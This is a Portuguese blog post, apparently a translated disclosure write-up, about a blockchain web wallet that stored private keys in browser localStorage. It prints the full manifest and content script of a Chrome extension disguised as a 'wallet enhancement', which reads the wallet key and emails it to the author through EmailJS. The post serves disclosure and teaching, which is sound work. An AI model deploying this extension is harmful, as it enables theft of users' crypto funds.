Em janeiro de 2022, entrei na comunidade de um dos blockchains de prova de aposta. Para brincar com o que o protocolo e seu ecossistema oferecem, criei uma conta de carteira no site oficial . Além da curiosidade geral, eu estava interessado em saber como eles conseguiram segurança em um navegador, especialmente na era das extensões e vulnerabilidades do lado do cliente. https://wallet.****.org Descobriu-se que quando um usuário fazia login, o aplicativo de carteira (construído no React) gerava um conjunto de chaves públicas e privadas e as armazenava no armazenamento local do navegador. Com minha experiência na criação de autenticação e autorização em sistemas distribuídos, eu sabia que essa não era a melhor coisa a fazer – em geral, é fácil para uma extensão de navegador e um código do lado do cliente ler dados do armazenamento local[ ]. 1 Para provar isso, decidi que recuperaria as chaves do navegador da vítima e as enviaria para meu endereço de e-mail anônimo. escrever uma extensão simples para o Chrome O diretório raiz da minha extensão de batedor de carteiras ficou assim: . ├── content.js ├── email.min.js ├── index.html └── manifest.json Os arquivos principais são e . O primeiro é essencial para instalar a extensão. manifest.json content.js { "name": "X Wallet Enhancement", "version": "1.0", "manifest_version": 3, "content_scripts": [ { "matches": [ "https://wallet.****.org/*" ], "js": [ "email.min.js", "content.js" ] } ] } é apenas uma biblioteca cliente de um dos serviços em nuvem que permite enviar e-mail diretamente de um navegador sem nenhum código de servidor. é uma página HTML em branco que não exibe nada. A lógica de sequestro de carteira residia no arquivo : email.min.js index.html content.js emailjs.init('user_****'); // instantiating an email delivery service let templateParams = { // gathering information about the victim's browser from_name: navigator.userAgent, // fetching wallet keys from the local storage storage: window.localStorage.getItem('_*:wallet:active_account_id_**'), }; // using a prepared email template to send an email with keys const serviceID = 'service_****'; const templateID = 'template_****'; emailjs.send(serviceID, templateID, templateParams) .then(() => { console.log("Wallet keys were send!"); }, (err) => { console.error(JSON.stringify(err)); }); Sim, um script tão fictício. Empacotei todos os quatro arquivos em um arquivo zip e pedi gentilmente ao meu amigo, que também tinha uma carteira em , para instalar minha criação em seu navegador (fingindo fazer engenharia social). Antes de fazer isso, contei a ele minhas descobertas e a teoria que estava tentando provar. Ele ficou feliz em ajudar, e as chaves públicas e privadas desta conta da carteira apareceram na minha caixa de entrada alguns segundos após a instalação da extensão do navegador. Em seguida, salvei as chaves no armazenamento local em meu navegador e abri o site da carteira. https://wallet.***.org Surpreendentemente, o saldo da carteira criptográfica do meu amigo estava disponível para mim, juntamente com a opção de retirar os fundos. Durante uma ligação do Zoom com meu amigo vítima, transferi alguns de seus fundos para uma conta anônima e vice-versa. Foi alucinante! Um novo e promissor blockchain que recentemente fechou uma rodada de investimentos tinha uma grande vulnerabilidade em sua carteira. O pior de tudo é que eles tinham autenticação de dois fatores para os usuários. É claro que poucas pessoas o ativariam imediatamente, e muitas não o fizeram. Como desenvolvedor ético, criei um relatório de vulnerabilidade, incluindo o código-fonte da extensão do navegador e minhas ideias sobre como melhorar a segurança do aplicativo web. Ele foi enviado diretamente para o endereço de e-mail da equipe de segurança no dia 18 de janeiro. Alguns dias depois, recebi uma ligação do CISO do protocolo blockchain, que me garantiu que estava ciente do problema e que o resolveria no próximo lançamento. Fiquei um pouco decepcionado com a rapidez da resposta ao incidente. Dois dias é uma eternidade quando se fala do dinheiro dos usuários. No entanto, os desenvolvedores do blockchain me concederam seus tokens no valor equivalente a 1.000 USDT. 👉🏻 estejam atentos às tecnologias que você utiliza e seus aspectos de segurança. Conselho para desenvolvedores de aplicativos: 💡 aprenda quais opções de segurança uma organização oferece a você, ative a autenticação de dois fatores assim que criar uma conta de carteira, não armazene todos os seus fundos em carteiras quentes. Conselhos para usuários de criptografia: Vale a pena ler O LocalStorage é seguro para uso? | Snyk Pare de usar armazenamento local Usando cookies HTTP - HTTP | MDN HTTPSomente | Fundação OWASP Também publicado . aqui